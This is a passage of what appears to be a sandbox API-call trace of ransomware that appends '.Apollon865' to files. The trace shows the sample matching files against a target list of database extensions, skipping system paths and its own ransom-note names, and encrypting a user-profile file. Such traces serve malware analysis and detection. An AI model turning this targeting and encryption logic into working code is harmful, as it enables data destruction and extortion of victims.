	[0047.075] lstrlenW (lpString="db3") returned 3
	[0047.075] lstrcmpiW (lpString1="-ms", lpString2="db3") returned 1
	[0047.075] lstrlenW (lpString="dbf") returned 3
	[0047.075] lstrcmpiW (lpString1="-ms", lpString2="dbf") returned 1
	[0047.075] lstrlenW (lpString="mdf") returned 3
	[0047.075] lstrcmpiW (lpString1="-ms", lpString2="mdf") returned 1
	[0047.075] lstrlenW (lpString="mdb") returned 3
	[0047.075] lstrcmpiW (lpString1="-ms", lpString2="mdb") returned 1
	[0047.075] lstrlenW (lpString="sql") returned 3
	[0047.075] lstrcmpiW (lpString1="-ms", lpString2="sql") returned -1
	[0047.075] lstrlenW (lpString="sqlite") returned 6
	[0047.075] lstrcmpiW (lpString1="ans-ms", lpString2="sqlite") returned -1
	[0047.075] lstrlenW (lpString="sqlite3") returned 7
	[0047.075] lstrcmpiW (lpString1="rans-ms", lpString2="sqlite3") returned -1
	[0047.075] lstrlenW (lpString="sqlitedb") returned 8
	[0047.075] lstrcmpiW (lpString1="trans-ms", lpString2="sqlitedb") returned 1
	[0047.075] lstrlenW (lpString="xml") returned 3
	[0047.076] lstrcmpiW (lpString1="-ms", lpString2="xml") returned -1
	[0047.076] lstrlenW (lpString="$er") returned 3
	[0047.076] lstrcmpiW (lpString1="-ms", lpString2="$er") returned 1
	[0047.076] lstrlenW (lpString="4dd") returned 3
	[0047.076] lstrcmpiW (lpString1="-ms", lpString2="4dd") returned 1
	[0047.076] lstrlenW (lpString="4dl") returned 3
	[0047.076] lstrcmpiW (lpString1="-ms", lpString2="4dl") returned 1
	[0047.076] lstrlenW (lpString="^^^") returned 3
	[0047.076] lstrcmpiW (lpString1="-ms", lpString2="^^^") returned 1
	[0047.076] lstrlenW (lpString="abs") returned 3
	[0047.076] lstrcmpiW (lpString1="-ms", lpString2="abs") returned 1
	[0047.076] lstrlenW (lpString="abx") returned 3
	[0047.076] lstrcmpiW (lpString1="-ms", lpString2="abx") returned 1
	[0047.076] lstrlenW (lpString="accdb") returned 5
	[0047.076] lstrcmpiW (lpString1="ns-ms", lpString2="accdb") returned 1
	[0047.076] lstrlenW (lpString="accdc") returned 5
	[0047.076] lstrcmpiW (lpString1="ns-ms", lpString2="accdc") returned 1
	[0047.076] lstrlenW (lpString="accde") returned 5
	[0047.076] lstrcmpiW (lpString1="ns-ms", lpString2="accde") returned 1
	[0047.076] lstrlenW (lpString="accdr") returned 5
	[0047.076] lstrcmpiW (lpString1="ns-ms", lpString2="accdr") returned 1
	[0047.076] lstrlenW (lpString="accdt") returned 5
	[0047.076] lstrcmpiW (lpString1="ns-ms", lpString2="accdt") returned 1
	[0047.076] lstrlenW (lpString="accdw") returned 5
	[0047.076] lstrcmpiW (lpString1="ns-ms", lpString2="accdw") returned 1
	[0047.076] lstrlenW (lpString="accft") returned 5
	[0047.076] lstrcmpiW (lpString1="ns-ms", lpString2="accft") returned 1
	[0047.076] lstrlenW (lpString="adb") returned 3
	[0047.076] lstrcmpiW (lpString1="-ms", lpString2="adb") returned 1
	[0047.076] lstrlenW (lpString="adb") returned 3
	[0047.076] lstrcmpiW (lpString1="-ms", lpString2="adb") returned 1
	[0047.076] lstrlenW (lpString="ade") returned 3
	[0047.076] lstrcmpiW (lpString1="-ms", lpString2="ade") returned 1
	[0047.076] lstrlenW (lpString="adf") returned 3
	[0047.076] lstrcmpiW (lpString1="-ms", lpString2="adf") returned 1
	[0047.077] lstrlenW (lpString="adn") returned 3
	[0047.077] lstrcmpiW (lpString1="-ms", lpString2="adn") returned 1
	[0047.077] lstrlenW (lpString="adp") returned 3
	[0047.077] lstrcmpiW (lpString1="-ms", lpString2="adp") returned 1
	[0047.077] lstrlenW (lpString="alf") returned 3
	[0047.077] lstrcmpiW (lpString1="-ms", lpString2="alf") returned 1
	[0047.077] lstrlenW (lpString="ask") returned 3
	[0047.077] lstrcmpiW (lpString1="-ms", lpString2="ask") returned 1
	[0047.077] lstrlenW (lpString="btr") returned 3
	[0047.077] lstrcmpiW (lpString1="-ms", lpString2="btr") returned 1
	[0047.077] lstrlenW (lpString="cat") returned 3
	[0047.077] lstrcmpiW (lpString1="-ms", lpString2="cat") returned 1
	[0047.077] lstrlenW (lpString="cdb") returned 3
	[0047.077] lstrcmpiW (lpString1="-ms", lpString2="cdb") returned 1
	[0047.077] lstrlenW (lpString="ckp") returned 3
	[0047.077] lstrcmpiW (lpString1="-ms", lpString2="ckp") returned 1
	[0047.077] lstrlenW (lpString="cma") returned 3
	[0047.077] lstrcmpiW (lpString1="-ms", lpString2="cma") returned 1
	[0047.077] lstrlenW (lpString="cpd") returned 3
	[0047.077] lstrcmpiW (lpString1="-ms", lpString2="cpd") returned 1
	[0047.077] lstrlenW (lpString="dacpac") returned 6
	[0047.077] lstrcmpiW (lpString1="ans-ms", lpString2="dacpac") returned -1
	[0047.077] lstrlenW (lpString="dad") returned 3
	[0047.077] lstrcmpiW (lpString1="-ms", lpString2="dad") returned 1
	[0047.077] lstrlenW (lpString="dadiagrams") returned 10
	[0047.077] lstrcmpiW (lpString1="egtrans-ms", lpString2="dadiagrams") returned 1
	[0047.077] lstrlenW (lpString="daschema") returned 8
	[0047.077] lstrcmpiW (lpString1="trans-ms", lpString2="daschema") returned 1
	[0047.077] lstrlenW (lpString="db-journal") returned 10
	[0047.077] lstrcmpiW (lpString1="egtrans-ms", lpString2="db-journal") returned 1
	[0047.077] lstrlenW (lpString="db-shm") returned 6
	[0047.077] lstrcmpiW (lpString1="ans-ms", lpString2="db-shm") returned -1
	[0047.077] lstrlenW (lpString="db-wal") returned 6
	[0047.078] lstrcmpiW (lpString1="ans-ms", lpString2="db-wal") returned -1
	[0047.078] lstrlenW (lpString="dbc") returned 3
	[0047.078] lstrcmpiW (lpString1="-ms", lpString2="dbc") returned 1
	[0047.078] lstrlenW (lpString="dbs") returned 3
	[0047.078] lstrcmpiW (lpString1="-ms", lpString2="dbs") returned 1
	[0047.078] lstrlenW (lpString="dbt") returned 3
	[0047.078] lstrcmpiW (lpString1="-ms", lpString2="dbt") returned 1
	[0047.078] lstrlenW (lpString="dbv") returned 3
	[0047.078] lstrcmpiW (lpString1="-ms", lpString2="dbv") returned 1
	[0047.078] lstrlenW (lpString="dbx") returned 3
	[0047.078] lstrcmpiW (lpString1="-ms", lpString2="dbx") returned 1
	[0047.078] lstrlenW (lpString="dcb") returned 3
	[0047.078] lstrcmpiW (lpString1="-ms", lpString2="dcb") returned 1
	[0047.078] lstrlenW (lpString="dct") returned 3
	[0047.078] lstrcmpiW (lpString1="-ms", lpString2="dct") returned 1
	[0047.078] lstrlenW (lpString="dcx") returned 3
	[0047.078] lstrcmpiW (lpString1="-ms", lpString2="dcx") returned 1
	[0047.078] lstrlenW (lpString="ddl") returned 3
	[0047.078] lstrcmpiW (lpString1="-ms", lpString2="ddl") returned 1
	[0047.078] lstrlenW (lpString="dlis") returned 4
	[0047.078] lstrcmpiW (lpString1="s-ms", lpString2="dlis") returned 1
	[0047.078] lstrlenW (lpString="dp1") returned 3
	[0047.078] lstrcmpiW (lpString1="-ms", lpString2="dp1") returned 1
	[0047.078] lstrlenW (lpString="dqy") returned 3
	[0047.078] lstrcmpiW (lpString1="-ms", lpString2="dqy") returned 1
	[0047.078] lstrlenW (lpString="dsk") returned 3
	[0047.078] lstrcmpiW (lpString1="-ms", lpString2="dsk") returned 1
	[0047.078] lstrlenW (lpString="dsn") returned 3
	[0047.078] lstrcmpiW (lpString1="-ms", lpString2="dsn") returned 1
	[0047.078] lstrlenW (lpString="dtsx") returned 4
	[0047.078] lstrcmpiW (lpString1="s-ms", lpString2="dtsx") returned 1
	[0047.078] lstrlenW (lpString="dxl") returned 3
	[0047.078] lstrcmpiW (lpString1="-ms", lpString2="dxl") returned 1
	[0047.078] lstrlenW (lpString="eco") returned 3
	[0047.079] lstrcmpiW (lpString1="-ms", lpString2="eco") returned 1
	[0047.079] lstrlenW (lpString="ecx") returned 3
	[0047.079] lstrcmpiW (lpString1="-ms", lpString2="ecx") returned 1
	[0047.079] lstrlenW (lpString="edb") returned 3
	[0047.079] lstrcmpiW (lpString1="-ms", lpString2="edb") returned 1
	[0047.079] lstrlenW (lpString="epim") returned 4
	[0047.079] lstrcmpiW (lpString1="s-ms", lpString2="epim") returned 1
	[0047.079] lstrlenW (lpString="fcd") returned 3
	[0047.079] lstrcmpiW (lpString1="-ms", lpString2="fcd") returned 1
	[0047.079] lstrlenW (lpString="fdb") returned 3
	[0047.079] lstrcmpiW (lpString1="-ms", lpString2="fdb") returned 1
	[0047.079] lstrlenW (lpString="fic") returned 3
	[0047.079] lstrcmpiW (lpString1="-ms", lpString2="fic") returned 1
	[0047.079] lstrlenW (lpString="flexolibrary") returned 12
	[0047.079] lstrcmpiW (lpString1=".regtrans-ms", lpString2="flexolibrary") returned -1
	[0047.079] lstrlenW (lpString="fm5") returned 3
	[0047.079] lstrcmpiW (lpString1="-ms", lpString2="fm5") returned 1
	[0047.079] lstrlenW (lpString="fmp") returned 3
	[0047.079] lstrcmpiW (lpString1="-ms", lpString2="fmp") returned 1
	[0047.079] lstrlenW (lpString="fmp12") returned 5
	[0047.079] lstrcmpiW (lpString1="ns-ms", lpString2="fmp12") returned 1
	[0047.079] lstrlenW (lpString="fmpsl") returned 5
	[0047.079] lstrcmpiW (lpString1="ns-ms", lpString2="fmpsl") returned 1
	[0047.079] lstrlenW (lpString="fol") returned 3
	[0047.079] lstrcmpiW (lpString1="-ms", lpString2="fol") returned 1
	[0047.079] lstrlenW (lpString="fp3") returned 3
	[0047.079] lstrcmpiW (lpString1="-ms", lpString2="fp3") returned 1
	[0047.079] lstrlenW (lpString="fp4") returned 3
	[0047.079] lstrcmpiW (lpString1="-ms", lpString2="fp4") returned 1
	[0047.079] lstrlenW (lpString="fp5") returned 3
	[0047.079] lstrcmpiW (lpString1="-ms", lpString2="fp5") returned 1
	[0047.079] lstrlenW (lpString="fp7") returned 3
	[0047.079] lstrcmpiW (lpString1="-ms", lpString2="fp7") returned 1
	[0047.079] lstrlenW (lpString="fpt") returned 3
	[0047.079] lstrcmpiW (lpString1="-ms", lpString2="fpt") returned 1
	[0047.080] lstrlenW (lpString="frm") returned 3
	[0047.080] lstrcmpiW (lpString1="-ms", lpString2="frm") returned 1
	[0047.080] lstrlenW (lpString="gdb") returned 3
	[0047.080] lstrcmpiW (lpString1="-ms", lpString2="gdb") returned 1
	[0047.080] lstrlenW (lpString="gdb") returned 3
	[0047.080] lstrcmpiW (lpString1="-ms", lpString2="gdb") returned 1
	[0047.080] lstrlenW (lpString="grdb") returned 4
	[0047.080] lstrcmpiW (lpString1="s-ms", lpString2="grdb") returned 1
	[0047.080] lstrlenW (lpString="gwi") returned 3
	[0047.080] lstrcmpiW (lpString1="-ms", lpString2="gwi") returned 1
	[0047.080] lstrlenW (lpString="hdb") returned 3
	[0047.080] lstrcmpiW (lpString1="-ms", lpString2="hdb") returned 1
	[0047.080] lstrlenW (lpString="his") returned 3
	[0047.080] lstrcmpiW (lpString1="-ms", lpString2="his") returned 1
	[0047.080] lstrlenW (lpString="ib") returned 2
	[0047.080] lstrcmpiW (lpString1="ms", lpString2="ib") returned 1
	[0047.080] lstrlenW (lpString="idb") returned 3
	[0047.080] lstrcmpiW (lpString1="-ms", lpString2="idb") returned 1
	[0047.080] lstrlenW (lpString="ihx") returned 3
	[0047.080] lstrcmpiW (lpString1="-ms", lpString2="ihx") returned 1
	[0047.080] lstrlenW (lpString="itdb") returned 4
	[0047.080] lstrcmpiW (lpString1="s-ms", lpString2="itdb") returned 1
	[0047.080] lstrlenW (lpString="itw") returned 3
	[0047.080] lstrcmpiW (lpString1="-ms", lpString2="itw") returned 1
	[0047.080] lstrlenW (lpString="jet") returned 3
	[0047.080] lstrcmpiW (lpString1="-ms", lpString2="jet") returned 1
	[0047.080] lstrlenW (lpString="jtx") returned 3
	[0047.080] lstrcmpiW (lpString1="-ms", lpString2="jtx") returned 1
	[0047.080] lstrlenW (lpString="kdb") returned 3
	[0047.080] lstrcmpiW (lpString1="-ms", lpString2="kdb") returned 1
	[0047.080] lstrlenW (lpString="kexi") returned 4
	[0047.081] lstrcmpiW (lpString1="s-ms", lpString2="kexi") returned 1
	[0047.081] lstrlenW (lpString="kexic") returned 5
	[0047.081] lstrcmpiW (lpString1="ns-ms", lpString2="kexic") returned 1
	[0047.081] lstrlenW (lpString="kexis") returned 5
	[0047.081] lstrcmpiW (lpString1="ns-ms", lpString2="kexis") returned 1
	[0047.081] lstrlenW (lpString="lgc") returned 3
	[0047.081] lstrcmpiW (lpString1="-ms", lpString2="lgc") returned 1
	[0047.081] lstrlenW (lpString="lwx") returned 3
	[0047.081] lstrcmpiW (lpString1="-ms", lpString2="lwx") returned 1
	[0047.081] lstrlenW (lpString="maf") returned 3
	[0047.081] lstrcmpiW (lpString1="-ms", lpString2="maf") returned 1
	[0047.081] lstrlenW (lpString="maq") returned 3
	[0047.081] lstrcmpiW (lpString1="-ms", lpString2="maq") returned 1
	[0047.081] lstrlenW (lpString="mar") returned 3
	[0047.081] lstrcmpiW (lpString1="-ms", lpString2="mar") returned 1
	[0047.081] lstrlenW (lpString="marshal") returned 7
	[0047.081] lstrcmpiW (lpString1="rans-ms", lpString2="marshal") returned 1
	[0047.081] lstrlenW (lpString="mas") returned 3
	[0047.081] lstrcmpiW (lpString1="-ms", lpString2="mas") returned 1
	[0047.081] lstrlenW (lpString="mav") returned 3
	[0047.081] lstrcmpiW (lpString1="-ms", lpString2="mav") returned 1
	[0047.081] lstrlenW (lpString="maw") returned 3
	[0047.081] lstrcmpiW (lpString1="-ms", lpString2="maw") returned 1
	[0047.081] lstrlenW (lpString="mdbhtml") returned 7
	[0047.084] lstrcmpiW (lpString1="rans-ms", lpString2="mdbhtml") returned 1
	[0047.084] lstrlenW (lpString="mdn") returned 3
	[0047.084] lstrcmpiW (lpString1="-ms", lpString2="mdn") returned 1
	[0047.084] lstrlenW (lpString="mdt") returned 3
	[0047.084] lstrcmpiW (lpString1="-ms", lpString2="mdt") returned 1
	[0047.084] lstrlenW (lpString="mfd") returned 3
	[0047.084] lstrcmpiW (lpString1="-ms", lpString2="mfd") returned 1
	[0047.084] lstrlenW (lpString="mpd") returned 3
	[0047.084] lstrcmpiW (lpString1="-ms", lpString2="mpd") returned 1
	[0047.084] lstrlenW (lpString="mrg") returned 3
	[0047.084] lstrcmpiW (lpString1="-ms", lpString2="mrg") returned 1
	[0047.084] lstrlenW (lpString="mud") returned 3
	[0047.084] lstrcmpiW (lpString1="-ms", lpString2="mud") returned -1
	[0047.084] lstrlenW (lpString="mwb") returned 3
	[0047.084] lstrcmpiW (lpString1="-ms", lpString2="mwb") returned -1
	[0047.084] lstrlenW (lpString="myd") returned 3
	[0047.084] lstrcmpiW (lpString1="-ms", lpString2="myd") returned -1
	[0047.084] lstrlenW (lpString="ndf") returned 3
	[0047.084] lstrcmpiW (lpString1="-ms", lpString2="ndf") returned -1
	[0047.084] lstrlenW (lpString="nnt") returned 3
	[0047.084] lstrcmpiW (lpString1="-ms", lpString2="nnt") returned -1
	[0047.084] lstrlenW (lpString="nrmlib") returned 6
	[0047.085] lstrcmpiW (lpString1="ans-ms", lpString2="nrmlib") returned -1
	[0047.085] lstrlenW (lpString="ns2") returned 3
	[0047.085] lstrcmpiW (lpString1="-ms", lpString2="ns2") returned -1
	[0047.085] lstrlenW (lpString="ns3") returned 3
	[0047.085] lstrcmpiW (lpString1="-ms", lpString2="ns3") returned -1
	[0047.085] lstrlenW (lpString="ns4") returned 3
	[0047.085] lstrcmpiW (lpString1="-ms", lpString2="ns4") returned -1
	[0047.085] lstrlenW (lpString="nsf") returned 3
	[0047.085] lstrcmpiW (lpString1="-ms", lpString2="nsf") returned -1
	[0047.085] lstrlenW (lpString="nv") returned 2
	[0047.085] lstrcmpiW (lpString1="ms", lpString2="nv") returned -1
	[0047.085] lstrlenW (lpString="nv2") returned 3
	[0047.085] lstrcmpiW (lpString1="-ms", lpString2="nv2") returned -1
	[0047.085] lstrlenW (lpString="nwdb") returned 4
	[0047.085] lstrcmpiW (lpString1="s-ms", lpString2="nwdb") returned 1
	[0047.085] lstrlenW (lpString="nyf") returned 3
	[0047.085] lstrcmpiW (lpString1="-ms", lpString2="nyf") returned -1
	[0047.085] lstrlenW (lpString="odb") returned 3
	[0047.085] lstrcmpiW (lpString1="-ms", lpString2="odb") returned -1
	[0047.085] lstrlenW (lpString="odb") returned 3
	[0047.085] lstrcmpiW (lpString1="-ms", lpString2="odb") returned -1
	[0047.085] lstrlenW (lpString="oqy") returned 3
	[0047.085] lstrcmpiW (lpString1="-ms", lpString2="oqy") returned -1
	[0047.085] lstrlenW (lpString="ora") returned 3
	[0047.085] lstrcmpiW (lpString1="-ms", lpString2="ora") returned -1
	[0047.085] lstrlenW (lpString="orx") returned 3
	[0047.085] lstrcmpiW (lpString1="-ms", lpString2="orx") returned -1
	[0047.085] lstrlenW (lpString="owc") returned 3
	[0047.085] lstrcmpiW (lpString1="-ms", lpString2="owc") returned -1
	[0047.085] lstrlenW (lpString="p96") returned 3
	[0047.085] lstrcmpiW (lpString1="-ms", lpString2="p96") returned -1
	[0047.085] lstrlenW (lpString="p97") returned 3
	[0047.085] lstrcmpiW (lpString1="-ms", lpString2="p97") returned -1
	[0047.085] lstrlenW (lpString="pan") returned 3
	[0047.086] lstrcmpiW (lpString1="-ms", lpString2="pan") returned -1
	[0047.086] lstrlenW (lpString="pdb") returned 3
	[0047.086] lstrcmpiW (lpString1="-ms", lpString2="pdb") returned -1
	[0047.086] lstrlenW (lpString="pdm") returned 3
	[0047.086] lstrcmpiW (lpString1="-ms", lpString2="pdm") returned -1
	[0047.086] lstrlenW (lpString="pnz") returned 3
	[0047.086] lstrcmpiW (lpString1="-ms", lpString2="pnz") returned -1
	[0047.086] lstrlenW (lpString="qry") returned 3
	[0047.086] lstrcmpiW (lpString1="-ms", lpString2="qry") returned -1
	[0047.086] lstrlenW (lpString="qvd") returned 3
	[0047.086] lstrcmpiW (lpString1="-ms", lpString2="qvd") returned -1
	[0047.086] lstrlenW (lpString="rbf") returned 3
	[0047.086] lstrcmpiW (lpString1="-ms", lpString2="rbf") returned -1
	[0047.086] lstrlenW (lpString="rctd") returned 4
	[0047.086] lstrcmpiW (lpString1="s-ms", lpString2="rctd") returned 1
	[0047.086] lstrlenW (lpString="rod") returned 3
	[0047.086] lstrcmpiW (lpString1="-ms", lpString2="rod") returned -1
	[0047.086] lstrlenW (lpString="rodx") returned 4
	[0047.086] lstrcmpiW (lpString1="s-ms", lpString2="rodx") returned 1
	[0047.086] lstrlenW (lpString="rpd") returned 3
	[0047.086] lstrcmpiW (lpString1="-ms", lpString2="rpd") returned -1
	[0047.086] lstrlenW (lpString="rsd") returned 3
	[0047.086] lstrcmpiW (lpString1="-ms", lpString2="rsd") returned -1
	[0047.086] lstrlenW (lpString="sas7bdat") returned 8
	[0047.086] lstrcmpiW (lpString1="trans-ms", lpString2="sas7bdat") returned 1
	[0047.086] lstrlenW (lpString="sbf") returned 3
	[0047.086] lstrcmpiW (lpString1="-ms", lpString2="sbf") returned -1
	[0047.086] lstrlenW (lpString="scx") returned 3
	[0047.086] lstrcmpiW (lpString1="-ms", lpString2="scx") returned -1
	[0047.086] lstrlenW (lpString="sdb") returned 3
	[0047.086] lstrcmpiW (lpString1="-ms", lpString2="sdb") returned -1
	[0047.086] lstrlenW (lpString="sdc") returned 3
	[0047.086] lstrcmpiW (lpString1="-ms", lpString2="sdc") returned -1
	[0047.086] lstrlenW (lpString="sdf") returned 3
	[0047.086] lstrcmpiW (lpString1="-ms", lpString2="sdf") returned -1
	[0047.087] lstrlenW (lpString="sis") returned 3
	[0047.087] lstrcmpiW (lpString1="-ms", lpString2="sis") returned -1
	[0047.087] lstrlenW (lpString="spq") returned 3
	[0047.087] lstrcmpiW (lpString1="-ms", lpString2="spq") returned -1
	[0047.087] lstrlenW (lpString="te") returned 2
	[0047.087] lstrcmpiW (lpString1="ms", lpString2="te") returned -1
	[0047.087] lstrlenW (lpString="teacher") returned 7
	[0047.087] lstrcmpiW (lpString1="rans-ms", lpString2="teacher") returned -1
	[0047.087] lstrlenW (lpString="tmd") returned 3
	[0047.087] lstrcmpiW (lpString1="-ms", lpString2="tmd") returned -1
	[0047.087] lstrlenW (lpString="tps") returned 3
	[0047.087] lstrcmpiW (lpString1="-ms", lpString2="tps") returned -1
	[0047.087] lstrlenW (lpString="trc") returned 3
	[0047.087] lstrcmpiW (lpString1="-ms", lpString2="trc") returned -1
	[0047.087] lstrlenW (lpString="trc") returned 3
	[0047.087] lstrcmpiW (lpString1="-ms", lpString2="trc") returned -1
	[0047.087] lstrlenW (lpString="trm") returned 3
	[0047.087] lstrcmpiW (lpString1="-ms", lpString2="trm") returned -1
	[0047.087] lstrlenW (lpString="udb") returned 3
	[0047.087] lstrcmpiW (lpString1="-ms", lpString2="udb") returned -1
	[0047.087] lstrlenW (lpString="udl") returned 3
	[0047.087] lstrcmpiW (lpString1="-ms", lpString2="udl") returned -1
	[0047.087] lstrlenW (lpString="usr") returned 3
	[0047.087] lstrcmpiW (lpString1="-ms", lpString2="usr") returned -1
	[0047.087] lstrlenW (lpString="v12") returned 3
	[0047.087] lstrcmpiW (lpString1="-ms", lpString2="v12") returned -1
	[0047.087] lstrlenW (lpString="vis") returned 3
	[0047.087] lstrcmpiW (lpString1="-ms", lpString2="vis") returned -1
	[0047.087] lstrlenW (lpString="vpd") returned 3
	[0047.087] lstrcmpiW (lpString1="-ms", lpString2="vpd") returned -1
	[0047.087] lstrlenW (lpString="vvv") returned 3
	[0047.087] lstrcmpiW (lpString1="-ms", lpString2="vvv") returned -1
	[0047.087] lstrlenW (lpString="wdb") returned 3
	[0047.087] lstrcmpiW (lpString1="-ms", lpString2="wdb") returned -1
	[0047.087] lstrlenW (lpString="wmdb") returned 4
	[0047.087] lstrcmpiW (lpString1="s-ms", lpString2="wmdb") returned -1
	[0047.088] lstrlenW (lpString="wrk") returned 3
	[0047.088] lstrcmpiW (lpString1="-ms", lpString2="wrk") returned -1
	[0047.088] lstrlenW (lpString="xdb") returned 3
	[0047.088] lstrcmpiW (lpString1="-ms", lpString2="xdb") returned -1
	[0047.088] lstrlenW (lpString="xld") returned 3
	[0047.088] lstrcmpiW (lpString1="-ms", lpString2="xld") returned -1
	[0047.088] lstrlenW (lpString="xmlff") returned 5
	[0047.088] lstrcmpiW (lpString1="ns-ms", lpString2="xmlff") returned -1
	[0047.088] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms.Apollon865") returned 120
	[0047.088] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms" (normalized: "c:\\users\\default\\ntuser.dat{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.tmcontainer00000000000000000002.regtrans-ms"), lpNewFileName="C:\\Users\\Default\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms.Apollon865" (normalized: "c:\\users\\default\\ntuser.dat{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.tmcontainer00000000000000000002.regtrans-ms.apollon865"), dwFlags=0x1) returned 1
	[0047.089] CreateFileW (lpFileName="C:\\Users\\Default\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms.Apollon865" (normalized: "c:\\users\\default\\ntuser.dat{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.tmcontainer00000000000000000002.regtrans-ms.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0047.089] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=524288) returned 1
	[0047.089] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0047.089] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0047.089] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0047.089] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf568) returned 1
	[0047.090] CryptGenRandom (in: hProv=0x5bf568, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0047.090] CryptReleaseContext (hProv=0x5bf568, dwFlags=0x0) returned 1
	[0047.090] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x80300, lpName=0x0) returned 0x158
	[0047.100] MapViewOfFile (hFileMappingObject=0x158, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x80300) returned 0x210000
	[0047.254] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf568) returned 1
	[0047.255] CryptGenRandom (in: hProv=0x5bf568, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0047.255] CryptReleaseContext (hProv=0x5bf568, dwFlags=0x0) returned 1
	[0047.255] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0047.255] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0047.255] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0047.255] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5bacb8
	[0047.255] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0047.255] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5baba0
	[0047.255] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5a73b0
	[0047.256] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5baba0 | out: hHeap=0x580000) returned 1
	[0047.256] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a73b0 | out: hHeap=0x580000) returned 1
	[0047.256] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bacb8 | out: hHeap=0x580000) returned 1
	[0047.256] UnmapViewOfFile (lpBaseAddress=0x210000) returned 1
	[0047.260] CloseHandle (hObject=0x158) returned 1
	[0047.261] CloseHandle (hObject=0x15c) returned 1
	[0047.261] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0047.261] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0047.261] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0047.263] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x14, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.ini", cAlternateFileName="")) returned 1
	[0047.263] lstrcmpiW (lpString1="ntuser.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0047.263] lstrcmpiW (lpString1="ntuser.ini", lpString2="Apollon865.txt.exe") returned 1
	[0047.263] lstrcmpiW (lpString1="ntuser.ini", lpString2=".") returned 1
	[0047.263] lstrcmpiW (lpString1="ntuser.ini", lpString2="..") returned 1
	[0047.263] lstrcmpiW (lpString1="ntuser.ini", lpString2="windows") returned -1
	[0047.263] lstrcmpiW (lpString1="ntuser.ini", lpString2="bootmgr") returned 1
	[0047.263] lstrcmpiW (lpString1="ntuser.ini", lpString2="temp") returned -1
	[0047.263] lstrcmpiW (lpString1="ntuser.ini", lpString2="pagefile.sys") returned -1
	[0047.263] lstrcmpiW (lpString1="ntuser.ini", lpString2="boot") returned 1
	[0047.263] lstrcmpiW (lpString1="ntuser.ini", lpString2="ids.txt") returned 1
	[0047.263] lstrcmpiW (lpString1="ntuser.ini", lpString2="ntuser.dat") returned 1
	[0047.263] lstrcmpiW (lpString1="ntuser.ini", lpString2="perflogs") returned -1
	[0047.263] lstrcmpiW (lpString1="ntuser.ini", lpString2="MSBuild") returned 1
	[0047.264] lstrlenW (lpString="ntuser.ini") returned 10
	[0047.264] lstrlenW (lpString="C:\\Users\\Default\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms") returned 109
	[0047.264] lstrcpyW (in: lpString1=0x119e62a, lpString2="ntuser.ini" | out: lpString1="ntuser.ini") returned="ntuser.ini"
	[0047.264] lstrlenW (lpString="ntuser.ini") returned 10
